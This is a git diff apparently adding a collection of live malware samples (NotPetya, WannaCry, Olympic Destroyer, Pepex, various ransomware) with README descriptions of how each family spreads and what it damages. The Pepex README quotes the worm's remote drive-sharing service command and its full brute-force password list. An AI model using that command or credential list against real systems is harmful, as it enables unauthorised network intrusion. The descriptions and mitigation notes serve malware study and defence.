Considered a network worm because it also includes a transport mechanism to automatically spread itself. This transport code scans for vulnerable systems, then uses the EternalBlue exploit to gain access, and the DoublePulsar tool to install and execute a copy of itself.++## ==> Language:+ Petya versions 1, and 2 were created using Microsoft Visual C/C++++## ==> Key Points and Mitigation:+```+☣️Like most ransomware, Petya is difficult to remove after it has infected a system. In most cases, the victim has to decide whether to pay the ransom (in hopes of actually getting the encryption key) or erasing everything and restoring it from backup. The best approach to avoid ransomware alltogether. Here’s what to do before, during and after an attack.☣️++It was found that it may be possible to stop the encryption process if an infected computer is immediately shut down when the fictitious chkdsk screen appears, and a security analyst proposed that creating read-only files named perfc and/or perfc.dat in the Windows installation directory could prevent the payload of the current strain from executing.++1. 💉Before the Attack+ - Back up and restore+ - Update and patch+ - create a file “C:\Windows\perfc. dat”.+ - Train and educate users++2. 💊During the Attack+ - Turn the computer off and disconnect from the network+ - founders of TrustedSec and Binary Defense, reveal administrators can stop NotPetya from writing/executing by creating a file “C:\Windows\perfc. dat”. Use this. Just confirmed it stops execution.+ - create a file “C:\Windows\perfc. dat”.++3. 💊After the Attack 🩺+ - Review and Reinforce+ I recommend a top-to-bottom security assessment to find threats that may still linger in your environment. Take a hard look at your security tools and procedures—and where they fell short.++ - Cleanup+ Some ransomware contains other threats or backdoor Trojans that can lead to future attacks. In other cases, the victim’s environment was already compromised, opening a door for the ransomware. Look closer for hidden threats that you may have overlooked in the chaos.++ - Post-mortem review+ Review your threat preparedness, the chain of events that led to the infection, and your response. Without figuring out how the ransomware attack go through, you have no way of stopping the next attack.++ - Assess user awareness+ A well-informed employee is your last line of defense. Make sure employees, staff or faculty are up to the task.+ Education and training. Create a crisis communications plan in the event of a future attack, and follow-up with drills and penetration testing.++ - Reinforce your defenses+ Today’s fast-changing threat landscape requires security solutions that can analyze, identify and block—in real time—the malicious URLs and attachments that serve as ransomware’s primary attack vehicles.++```++diff --git a/Malwares/Advanced Malware/NotPetya/notpetya.jpg b/Malwares/Advanced Malware/NotPetya/notpetya.jpgnew file mode 100644index 0000000..5e82b7dBinary files /dev/null and b/Malwares/Advanced Malware/NotPetya/notpetya.jpg differdiff --git a/Malwares/Advanced Malware/NotPetya/notpetya2.png b/Malwares/Advanced Malware/NotPetya/notpetya2.pngnew file mode 100644index 0000000..23f530aBinary files /dev/null and b/Malwares/Advanced Malware/NotPetya/notpetya2.png differdiff --git a/Malwares/Advanced Malware/OlympicDestroyer/OlympicDestroyer.bin b/Malwares/Advanced Malware/OlympicDestroyer/OlympicDestroyer.binnew file mode 100644index 0000000..8261715Binary files /dev/null and b/Malwares/Advanced Malware/OlympicDestroyer/OlympicDestroyer.bin differdiff --git a/Malwares/Advanced Malware/OlympicDestroyer/OlympicDestroyerAtos.bin b/Malwares/Advanced Malware/OlympicDestroyer/OlympicDestroyerAtos.binnew file mode 100644index 0000000..2e88cd1Binary files /dev/null and b/Malwares/Advanced Malware/OlympicDestroyer/OlympicDestroyerAtos.bin differdiff --git a/Malwares/Advanced Malware/OlympicDestroyer/OlympicSystemStealer.bin b/Malwares/Advanced Malware/OlympicDestroyer/OlympicSystemStealer.binnew file mode 100644index 0000000..dd00b30Binary files /dev/null and b/Malwares/Advanced Malware/OlympicDestroyer/OlympicSystemStealer.bin differdiff --git a/Malwares/Advanced Malware/OlympicDestroyer/OlympicsSouthKorea.bin b/Malwares/Advanced Malware/OlympicDestroyer/OlympicsSouthKorea.binnew file mode 100644index 0000000..3e6bab3Binary files /dev/null and b/Malwares/Advanced Malware/OlympicDestroyer/OlympicsSouthKorea.bin differdiff --git a/Malwares/Advanced Malware/OlympicDestroyer/README.md b/Malwares/Advanced Malware/OlympicDestroyer/README.mdnew file mode 100644index 0000000..287aa68--- /dev/null+++ b/Malwares/Advanced Malware/OlympicDestroyer/README.md@@ -0,0 +1,14 @@+# OlympicDestroyer+ From these platforms(pyeongchang2018.com, network servers of the ski resorts & servers of Atos, the IT service provider),+ the worm was automatically propagated in the network through Windows network shares.+ Along the way it stole passwords saved on infected computers,+ wrote them into itself and used them for subsequent propagation.+ The ultimate objective of the Olympic Destroyer was;+ to purge files from network drives that the worm could reach and shut down the systems it infected.++Malware that was used by Sandworm Team against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks.+Olympic Destroyer has worm-like features to spread itself across a computer network in order to maximize its destructive impact.++ As a result of the attack, malware dubbed the Olympic Destroyer took down the official Olympics website and Wi-Fi at the stadium+ as well as affecting broadcasts of the event.+ The Organizing Committee gave assurances that there would be no serious consequences, but the uproar was no laughing matterdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-B.7z b/Malwares/Advanced Malware/Pepex/Pepex-B.7znew file mode 100644index 0000000..1ad9502Binary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-B.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-M.7z b/Malwares/Advanced Malware/Pepex/Pepex-M.7znew file mode 100644index 0000000..0e23353Binary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-M.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-M2.7z b/Malwares/Advanced Malware/Pepex/Pepex-M2.7znew file mode 100644index 0000000..c5fa290Binary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-M2.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-M3.7z b/Malwares/Advanced Malware/Pepex/Pepex-M3.7znew file mode 100644index 0000000..3dcde1bBinary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-M3.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-b2.7z b/Malwares/Advanced Malware/Pepex/Pepex-b2.7znew file mode 100644index 0000000..48da559Binary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-b2.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-b3.7z b/Malwares/Advanced Malware/Pepex/Pepex-b3.7znew file mode 100644index 0000000..c59171fBinary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-b3.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-b4.7z b/Malwares/Advanced Malware/Pepex/Pepex-b4.7znew file mode 100644index 0000000..b549439Binary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-b4.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-b5.7z b/Malwares/Advanced Malware/Pepex/Pepex-b5.7znew file mode 100644index 0000000..54b7d99Binary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-b5.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-b6.7z b/Malwares/Advanced Malware/Pepex/Pepex-b6.7znew file mode 100644index 0000000..3194543Binary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-b6.7z differdiff --git a/Malwares/Advanced Malware/Pepex/Pepex-b7.7z b/Malwares/Advanced Malware/Pepex/Pepex-b7.7znew file mode 100644index 0000000..1ad05fcBinary files /dev/null and b/Malwares/Advanced Malware/Pepex/Pepex-b7.7z differdiff --git a/Malwares/Advanced Malware/Pepex/README.md b/Malwares/Advanced Malware/Pepex/README.mdnew file mode 100644index 0000000..628f050--- /dev/null+++ b/Malwares/Advanced Malware/Pepex/README.md@@ -0,0 +1,184 @@+## Worm.Win32.PEPEX.AB+Arrival Details++This Worm may arrive via network shares.++It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.++Installation++This Worm drops and executes the following files:++ %Windows%\lsasvs.exe <- detected as BKDR_TORLOAD.A, installs and executes the Tor client (lsass.bin)++Autostart Technique++This Worm adds and runs the following services:++ ServiceName: shcservice+ DisplayName: Windows SHC Service.+ ImagePath: cmd.exe /c “net share C$=C:\”. <- This makes the C drive of the remote machine shared+ ServiceName: WUpdator+ DisplayName: Windows Updator+ ImagePath: %Windows%\svchost.exe -> This will execute its copy in the remote machine++(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)++Propagation++This Worm uses the following file names for the copies it drops into shared networks:++ %Windows%\svchost.exe++(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)++Dropping Routine++This Worm drops the following files:++ %Windows%\lsass.bin <- contains the Tor Client and its components++(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)++Other Details++This Worm does the following:++ It scans the following to check for open port 445:+ Randomly-generated IP address over the Internet or LAN+ If it finds a host either on the LAN/Internet with open port 445, it attempts to remotely create a service (via IPC$ share) and drop its copy in the remote machine by brute-forcing access in the file sharing++Uses the following user name and passwords to gain access to password protected networks:++ "administrator"+ "administrador"+ "admin"+ "superadmin"+ "db2admin"+ "123456"+ "password"+ "12345678"+ "qwerty"+ "12345"+ "123456789"+ "football"+ "1234"+ "1234567"+ "baseball"+ "welcome"+ "welkome"+ "1234567890"+ "abc123"+ "111111"+ "1qaz2wsx"+ "dragon"+ "master"+ "monkey"+ "letmein"+ "login"+ "princess"+ "qwertyuiop"+ "solo"+ "passw0rd"+ "p@ssw0rd"+ "starwars"+ "server"+ "passwd"+ "angel"+ "admin"+ "root"+ "!@#$"+ "BUMBLE"+ "qwer"+ "asdf"+ "asdfg"+ "54321"+ "4321"+ "!@#$%"+ "!@#$%^"+ "!@#$%^&"+ "!@#$%^&*"+ "!@#$%^&*("+ "!@#$%^&*()"+ "pussy"+ "696969"+ "mustang"+ "michael"+ "shadow"+ "jennifer"+ "2000"+ "jordan"+ "superman"+ "harley"+ "fuckme"+ "hunter"+ "fuckyou"+ "trustno1"+ "ranger"+ "buster"+ "thomas"+ "tigger"+ "robert"+ "soccer"+ "fuck"+ "batman"+ "test"+ "pass"+ "killer"+ "hockey"+ "george"+ "charlie"+ "andrew"+ "michelle"+ "love"+ "sunshine"+ "jessica"+ "asshole"+ "6969"+ "pepper"+ "daniel"+ "access"+ "654321"+ "joshua"+ "maggie"+ "silver"+ "william"+ "dallas"+ "yankees"+ "123123"+ "ashley"+ "666666"+ "hello"+ "amanda"+ "orange"+ "biteme"+ "freedom"+ "computer"+ "sexy"+ "thunder"+ "nicole"+ "ginger"+ "heather"+ "hammer"+ "summer"+ "corvette"+ "taylor"+ "fucker"+ "austin"+ "1111"+ "merlin"+ "matthew"+ "121212"+ "golfer"+ "cheese"+ "martin"+ "chelsea"+ "patrick"+ "richard"+ "diamond"+ "yellow"+ "bigdog"+ "secret"+ "asdfgh"+ "sparky"+ "cowboy"diff --git a/Malwares/Advanced Malware/Pepex/smb-5ebgzza0.7z b/Malwares/Advanced Malware/Pepex/smb-5ebgzza0.7znew file mode 100644index 0000000..d4d080bBinary files /dev/null and b/Malwares/Advanced Malware/Pepex/smb-5ebgzza0.7z differdiff --git a/Malwares/Advanced Malware/Pepex/smb-__lltt96.7z b/Malwares/Advanced Malware/Pepex/smb-__lltt96.7znew file mode 100644index 0000000..737779eBinary files /dev/null and b/Malwares/Advanced Malware/Pepex/smb-__lltt96.7z differdiff --git a/Malwares/Advanced Malware/Petya/4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c (1) b/Malwares/Advanced Malware/Petya/4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c (1)new file mode 100644index 0000000..5df5799Binary files /dev/null and b/Malwares/Advanced Malware/Petya/4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c (1) differdiff --git a/Malwares/Advanced Malware/Petya/README.md b/Malwares/Advanced Malware/Petya/README.mdnew file mode 100644index 0000000..5f66b2f--- /dev/null+++ b/Malwares/Advanced Malware/Petya/README.md@@ -0,0 +1,54 @@+# ☠️☠️ PETYA RANSOMWARE ☠️☠️+  ++++Though first discovered in 2016, Petya began making news in 2017 when a new variant was used in a massive cyberattack against Ukrainian targets. It quickly spread worldwide, crippling businesses and causing more than $10 billion in damages.++## HOW DOES IT WORK+++## ==> TYPE:+ Ransomware Cryptoworm++## ==> Modus Operandi:+ Considered a network worm because it also includes a transport mechanism to automatically spread itself. This transport code scans for vulnerable systems, then uses the EternalBlue exploit to gain access, and the DoublePulsar tool to install and execute a copy of itself.++## ==> Language:+ Petya versions 1, and 2 were created using Microsoft Visual C/C++++## ==> Key Points and Mitigation:+```+☣️Like most ransomware, Petya is difficult to remove after it has infected a system. In most cases, the victim has to decide whether to pay the ransom (in hopes of actually getting the encryption key) or erasing everything and restoring it from backup. The best approach to avoid ransomware altogether. Here’s what to do before, during and after an attack.☣️++1. 💉Before the Attack+ - Back up and restore+ - Update and patch+ - Train and educate users++2. 💊During the Attack+ - Turn the computer off and disconnect from the network+ - Call law enforcement+ - Determine scope of problem based on threat intelligence+ - Orchestrate a responseDon’t count on free ransomware decryption tools+ - Restore from Backup++3. 💊After the Attack 🩺+ - Review and Reinforce+ I recommend a top-to-bottom security assessment to find threats that may still linger in your environment. Take a hard look at your security tools and procedures—and where they fell short.++ - Cleanup+ Some ransomware contains other threats or backdoor Trojans that can lead to future attacks. In other cases, the victim’s environment was already compromised, opening a door for the ransomware. Look closer for hidden threats that you may have overlooked in the chaos.++ - Post-mortem review+ Review your threat preparedness, the chain of events that led to the infection, and your response. Without figuring out how the ransomware attack go through, you have no way of stopping the next attack.++ - Assess user awareness+ A well-informed employee is your last line of defense. Make sure employees, staff or faculty are up to the task.+ Education and training. Create a crisis communications plan in the event of a future attack, and follow-up with drills and penetration testing.++ - Reinforce your defenses+ Today’s fast-changing threat landscape requires security solutions that can analyze, identify and block—in real time—the malicious URLs and attachments that serve as ransomware’s primary attack vehicles.++```+diff --git a/Malwares/Advanced Malware/Petya/petya.png b/Malwares/Advanced Malware/Petya/petya.pngnew file mode 100644index 0000000..2e590bdBinary files /dev/null and b/Malwares/Advanced Malware/Petya/petya.png differdiff --git a/Malwares/Advanced Malware/Petya/petya2.png b/Malwares/Advanced Malware/Petya/petya2.pngnew file mode 100644index 0000000..e528302Binary files /dev/null and b/Malwares/Advanced Malware/Petya/petya2.png differdiff --git a/Malwares/Advanced Malware/README.md b/Malwares/Advanced Malware/README.mdnew file mode 100644index 0000000..f613f23--- /dev/null+++ b/Malwares/Advanced Malware/README.md@@ -0,0 +1,10 @@+# <h1 align="center">☣️☣️ ADVANCED MALWARE ☢️☢️</h1>+++<img src="zhackgithub1.gif " height="500" width="1750" >++This folder contains ransomware samples that have been used in the last 5 years to devastate infrastructure. These are some of the biggest attacks affecting state infrastructure, fortune 500 companies and have been used in Cyber Warfare. This repository contains the WMDs and recognised state sponsored malware campaigns. Am talking the wanacryptors, Petyas, Hives, Cuba, Lockbit, RagnarLocker, Lazarus....etc++## Malware on display+ These are hard to source.+ Shoutouts: to VX-UNDERGROUND, LIFKA and MALWARETECHdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/DistrictRansomware.bin b/Malwares/Advanced Malware/Ransomwares LIVE/DistrictRansomware.binnew file mode 100644index 0000000..27dd8b0Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/DistrictRansomware.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/FoxRansomware.zip b/Malwares/Advanced Malware/Ransomwares LIVE/FoxRansomware.zipnew file mode 100644index 0000000..9355dd7Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/FoxRansomware.zip differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/KatyushaRansomware.bin b/Malwares/Advanced Malware/Ransomwares LIVE/KatyushaRansomware.binnew file mode 100644index 0000000..a61f691Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/KatyushaRansomware.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/KeypassRansomware.bin b/Malwares/Advanced Malware/Ransomwares LIVE/KeypassRansomware.binnew file mode 100644index 0000000..afa8ef2Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/KeypassRansomware.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/KrakenCryptor2.0.bin b/Malwares/Advanced Malware/Ransomwares LIVE/KrakenCryptor2.0.binnew file mode 100644index 0000000..00d40e7Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/KrakenCryptor2.0.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/KryptikRansomware.false b/Malwares/Advanced Malware/Ransomwares LIVE/KryptikRansomware.falsenew file mode 100644index 0000000..6a4a000Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/KryptikRansomware.false differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/LockCrypt2.0.bin b/Malwares/Advanced Malware/Ransomwares LIVE/LockCrypt2.0.binnew file mode 100644index 0000000..c6bbc73Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/LockCrypt2.0.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/MatrixRansomware.bin b/Malwares/Advanced Malware/Ransomwares LIVE/MatrixRansomware.binnew file mode 100644index 0000000..e6e81f0Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/MatrixRansomware.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/NotPetya.bin b/Malwares/Advanced Malware/Ransomwares LIVE/NotPetya.binnew file mode 100644index 0000000..05ecb89Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/NotPetya.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/README.md b/Malwares/Advanced Malware/Ransomwares LIVE/README.mdnew file mode 100644index 0000000..72bc973--- /dev/null+++ b/Malwares/Advanced Malware/Ransomwares LIVE/README.md@@ -0,0 +1,49 @@+# Ransomwares LIVE++## District Ransomware+++<img src="districtmalware.png " height="500" width="1750" >++## Fox Ransomware+++Discovered by MalwareHunterTeam, FOX is a new variant of high-risk ransomware called Matrix. Developers proliferate this malware using Remote Desktop Service - they hijack victims' computers and install FOX manually.+Once infiltrated, FOX encrypts most stored data and renames files using the "[developer's_email].[random_characters].FOX" pattern (e.g., "sample.jpg" might be renamed to a filename such as "[[email protected] ].3qAbTbsd-RgfExin0.FOX"). Once encrypted, data becomes unusable and indistinguishable.+In addition, FOX performs a number of other malicious actions, including deletion of File Shadow Volume Copies and removal of Windows Recovery Startup. After performing these functions, FOX generates a text file ("#FOX_README#.rtf") and places a copy in every existing folder. Additionally, FOX ransomware changes victim's desktop wallpaper.++<img src="foxmalware.webp " height="500" width="1750" >++## Katyusha Ransomware+++Katyusha is ransomware discovered by Michael Gillespie. After successful infiltration, this virus encrypts most stored files (thereby making them unusable) and adds the ".katyusha" appendix to each filename. For instance, "sample.jpg" is renamed to "sample.jpg.katyusha". As well as encrypting data, Katyusha generates a text file called "_how_to_decrypt_you_files.txt" and places it on the desktop.+The new text file contains a message stating that data is encrypted and that victims must pay a ransom to restore it. No technical information regarding encryption is provided and, thus, it is not known whether Katyusha uses symmetric or asymmetric cryptography. In any case, decryption requires a unique key generated individually for each victim.++Cyber criminals hide all keys on a remote server and victims are encouraged to pay for their release. The cost is .5 Bitcoin (currently equivalent to ~$3200). It is also stated that victims have just three days to make up their mind. After this period, decryption keys are permanently deleted, thereby making it impossible to restore files.++As compared to other ransomware-type viruses, the cost of Katyusha decryption is high, since most demand $500-1500. Screenshot of a message encouraging users to pay a ransom to decrypt their compromised data:++<img src="katyushamalware.webp " height="500" width="1750" >++## Kryptik Ransomware+++Kryptik (also known as Win32/Kryptik.BGIS) is a backdoor trojan, which is often installed without users' knowledge. Therefore, people do not install programs of this type intentionally. When installed, Kryptik can be controlled remotely.++Using this feature, cyber criminals attempt to trick people into installing Kryptik so that they can steal information and then use it to generate revenue. If there is any reason to believe that Kryptik is installed on the operating system, remove it immediately.+Furthermore, the term "Kryptik" (also known as Krypt, Cryptic, Crypt, and Packed) is used by various malware databases to describe "packed" (compressed) files.++<img src="kryptikmalware.webp " height="500" width="1750" >++## Keypass Ransomware+++KEYPASS is a high-risk ransomware-type virus that stealthily infiltrates the system and encrypts most stored data. We suspect this malware to be an updated variant of another ransomware infection called STOP. During encryption, KEYPASS appends filenames with the ".KEYPASS" extension (e.g., "sample.jpg" is renamed to "sample.jpg.KEYPASS"). Once encrypted, data immediately becomes unusable. Following successful encryption, KEYPASS generates a text file ("!!!KEYPASS_DECRYPTION_INFO!!!.txt") and places a copy in every existing folder.++<img src="keypassmalware.webp " height="500" width="1750" >++## Matrix Ransomware+++Matrix is a ransomware family that was first identified publicly in December 2016. Over the years since its inception, it has primarily targeted small- to medium-sized organizations. As of 2019, it had been observed across geographic locations such as the U.S., Belgium, Taiwan, Singapore, Germany, Brazil, Chile, South Africa, Canada and the UK. While initially leveraging tactics such as spam email campaigns, propagation via Windows shortcuts and the RIG exploit kit for distribution, the primary attack vector for the Matrix ransomware family shifted in 2018 to brute forcing weak Remote Desktop Protocol (RDP) credentials. The shift to this attack methodology appears to be a recurring trend in similar targeted ransomware families such as Dharma, Ryuk and BitPaymer.diff --git a/Malwares/Advanced Malware/Ransomwares LIVE/WannaCryDLL.bin b/Malwares/Advanced Malware/Ransomwares LIVE/WannaCryDLL.binnew file mode 100644index 0000000..ca7c62fBinary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/WannaCryDLL.bin differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/districtmalware.png b/Malwares/Advanced Malware/Ransomwares LIVE/districtmalware.pngnew file mode 100644index 0000000..4c36040Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/districtmalware.png differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/foxmalware.webp b/Malwares/Advanced Malware/Ransomwares LIVE/foxmalware.webpnew file mode 100644index 0000000..fd6b28cBinary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/foxmalware.webp differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/katyushamalware.webp b/Malwares/Advanced Malware/Ransomwares LIVE/katyushamalware.webpnew file mode 100644index 0000000..ac78350Binary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/katyushamalware.webp differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/keypassmalware.webp b/Malwares/Advanced Malware/Ransomwares LIVE/keypassmalware.webpnew file mode 100644index 0000000..6bd998aBinary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/keypassmalware.webp differdiff --git a/Malwares/Advanced Malware/Ransomwares LIVE/kryptikmalware.webp b/Malwares/Advanced Malware/Ransomwares LIVE/kryptikmalware.webpnew file mode 100644index 0000000..cd2517cBinary files /dev/null and b/Malwares/Advanced Malware/Ransomwares LIVE/kryptikmalware.webp differdiff --git a/Malwares/Advanced Malware/Rbot/README.md b/Malwares/Advanced Malware/Rbot/README.mdnew file mode 100644index 0000000..654f6d6--- /dev/null+++ b/Malwares/Advanced Malware/Rbot/README.md@@ -0,0 +1,6 @@+## Backdoor: W32/RBot+ ++Backdoor:W32/RBot is a large family of backdoors - remote administration utility program that, once installed on a computer, allows a user access and control it over a network or the Internet. When used maliciously, these programs allow a remote attacker to control the infected computer, usually without the knowledge or consent of the system's main user(s).++A remote attacker may use the backdoor to perform a variety of actions, such as stealing data, executing commands on the affected machine or accessing other machines on a local network.diff --git a/Malwares/Advanced Malware/Rbot/Rbot-O.7z b/Malwares/Advanced Malware/Rbot/Rbot-O.7znew file mode 100644index 0000000..247f8abBinary files /dev/null and b/Malwares/Advanced Malware/Rbot/Rbot-O.7z differdiff --git a/Malwares/Advanced Malware/Rbot/smb-2leu2nil.7z b/Malwares/Advanced Malware/Rbot/smb-2leu2nil.7znew file mode 100644index 0000000..0d5c172Binary files /dev/null and b/Malwares/Advanced Malware/Rbot/smb-2leu2nil.7z differdiff --git a/Malwares/Advanced Malware/Rbot/smb-ts5zof3r.7z b/Malwares/Advanced Malware/Rbot/smb-ts5zof3r.7znew file mode 100644index 0000000..e1ba852Binary files /dev/null and b/Malwares/Advanced Malware/Rbot/smb-ts5zof3r.7z differdiff --git a/Malwares/Advanced Malware/SA post office/README.md b/Malwares/Advanced Malware/SA post office/README.mdnew file mode 100644index 0000000..b896bb5--- /dev/null+++ b/Malwares/Advanced Malware/SA post office/README.md@@ -0,0 +1,19 @@+# Successful Phishing attack on South Africa post office+++.jpg)++.png)++.png)++.png)++.png)+>the invoice.pdf when opened with adobe++.png)++.png)++For Full Report of this Attack visit https://app.any.run/tasks/4846be7c-9f89-4110-b51c-0115e35ddd4ddiff --git a/Malwares/Advanced Malware/SA post office/SA Post Office invoice.pdf.zip b/Malwares/Advanced Malware/SA post office/SA Post Office invoice.pdf.zipnew file mode 100644index 0000000..d2da5d7Binary files /dev/null and b/Malwares/Advanced Malware/SA post office/SA Post Office invoice.pdf.zip differdiff --git a/Malwares/Advanced Malware/SA post office/SA Post Office invoice.pdf/SA Post Office invoice.pdf b/Malwares/Advanced Malware/SA post office/SA Post Office invoice.pdf/SA Post Office invoice.pdfnew file mode 100644index 0000000..6ee2d5fBinary files /dev/null and b/Malwares/Advanced Malware/SA post office/SA Post Office invoice.pdf/SA Post Office invoice.pdf differdiff --git a/Malwares/Advanced Malware/SA post office/Screenshot (185).jpg b/Malwares/Advanced Malware/SA post office/Screenshot (185).jpgnew file mode 100644index 0000000..b546aacBinary files /dev/null and b/Malwares/Advanced Malware/SA post office/Screenshot (185).jpg differdiff --git a/Malwares/Advanced Malware/SA post office/Screenshot (186).png b/Malwares/Advanced Malware/SA post office/Screenshot (186).pngnew file mode 100644index 0000000..98f71feBinary files /dev/null and b/Malwares/Advanced Malware/SA post office/Screenshot (186).png differdiff --git a/Malwares/Advanced Malware/SA post office/Screenshot (187).png b/Malwares/Advanced Malware/SA post office/Screenshot (187).pngnew file mode 100644index 0000000..a9e50abBinary files /dev/null and b/Malwares/Advanced Malware/SA post office/Screenshot (187).png differdiff --git a/Malwares/Advanced Malware/SA post office/Screenshot (188).png b/Malwares/Advanced Malware/SA post office/Screenshot (188).pngnew file mode 100644index 0000000..6abfb6aBinary files /dev/null and b/Malwares/Advanced Malware/SA post office/Screenshot (188).png differdiff --git a/Malwares/Advanced Malware/SA post office/Screenshot (189).png b/Malwares/Advanced Malware/SA post office/Screenshot (189).pngnew file mode 100644index 0000000..2723f45Binary files /dev/null and b/Malwares/Advanced Malware/SA post office/Screenshot (189).png differdiff --git a/Malwares/Advanced Malware/SA post office/Screenshot (190).png b/Malwares/Advanced Malware/SA post office/Screenshot (190).pngnew file mode 100644index 0000000..0722a0fBinary files /dev/null and b/Malwares/Advanced Malware/SA post office/Screenshot (190).png differdiff --git a/Malwares/Advanced Malware/SA post office/Screenshot (191).png b/Malwares/Advanced Malware/SA post office/Screenshot (191).pngnew file mode 100644index 0000000..d8447aaBinary files /dev/null and b/Malwares/Advanced Malware/SA post office/Screenshot (191).png differdiff --git a/Malwares/Advanced Malware/SLINGSHOT/README.md b/Malwares/Advanced Malware/SLINGSHOT/README.mdnew file mode 100644index 0000000..259abb9--- /dev/null+++ b/Malwares/Advanced Malware/SLINGSHOT/README.md@@ -0,0 +1,11 @@+# Slingshot: the spy that came in from the router+ ++<img src="slingshotAPT.png" height="520" width="1750" >++ The Slingshot operation was discovered after researchers found a suspicious keylogger program+ and created a behavioral detection signature to see if that code appeared anywhere else.+ This triggered a detection that turned out to be an infected computer with a suspicious file inside the system folder named scesrv.+ Slingshot is very complex and the developers behind it have clearly spent a great deal of time and money on its creation.+ Its infection vector is remarkable.+ most of the victims observed appeared to have been initially infected through a Windows exploit or compromised Mikrotik routers.diff --git a/Malwares/Advanced Malware/SLINGSHOT/SlingShot.bin b/Malwares/Advanced Malware/SLINGSHOT/SlingShot.binnew file mode 100644index 0000000..f1541cfBinary files /dev/null and b/Malwares/Advanced Malware/SLINGSHOT/SlingShot.bin differdiff --git a/Malwares/Advanced Malware/SLINGSHOT/slingshotAPT.png b/Malwares/Advanced Malware/SLINGSHOT/slingshotAPT.pngnew file mode 100644index 0000000..b0fec29Binary files /dev/null and b/Malwares/Advanced Malware/SLINGSHOT/slingshotAPT.png differdiff --git a/Malwares/Advanced Malware/SdBot/28247211d1eb08370aa363f08821a653.zip b/Malwares/Advanced Malware/SdBot/28247211d1eb08370aa363f08821a653.zipnew file mode 100644index 0000000..f7a2064Binary files /dev/null and b/Malwares/Advanced Malware/SdBot/28247211d1eb08370aa363f08821a653.zip differdiff --git a/Malwares/Advanced Malware/SdBot/README.md b/Malwares/Advanced Malware/SdBot/README.mdnew file mode 100644index 0000000..b7fc937--- /dev/null+++ b/Malwares/Advanced Malware/SdBot/README.md@@ -0,0 +1,23 @@+# Backdoor:W32/SdBot+ ++### Technical Details++Variants in the SdBot family include:++ Backdoor:W32/SdBot.AAY+ Backdoor:W32/SdBot.MB+ Backdoor:W32/SdBot.CKN++### Installation++Based on the variant, SdBot backdoors copy themselves either to the Windows System directory, or to other directories located in the System directory. It also ensures the copy is started when the system stars by creating a subkey in one of the following registry keys:++ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices+ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run++The name of subkey and its value differ depending on the variant.++### Activity++SdBot backdoors connect to various IRC servers, joining an IRC channel (the choice of channel is hardcoded into the code) in order to receive instruction from the hacker. The backdoor can perform a variety of actions, including acting as an IRC proxy server, downloading and executing remote files, sending messages and more.diff --git a/Malwares/Advanced Malware/Shodi/README.md b/Malwares/Advanced Malware/Shodi/README.mdnew file mode 100644index 0000000..f47a97f--- /dev/null+++ b/Malwares/Advanced Malware/Shodi/README.md@@ -0,0 +1,15 @@+# Virus:Win32/Shodi.I+++This virus spreads by attaching its code to other files on your PC or network. Some of the infected programs might no longer run correctly.++W32/Shodi-F is a prepending virus for the Windows platforms that attempts to infect all files with an EXE extension with the exception of the some Windows system files. W32/Shodi-F is a prepending virus for 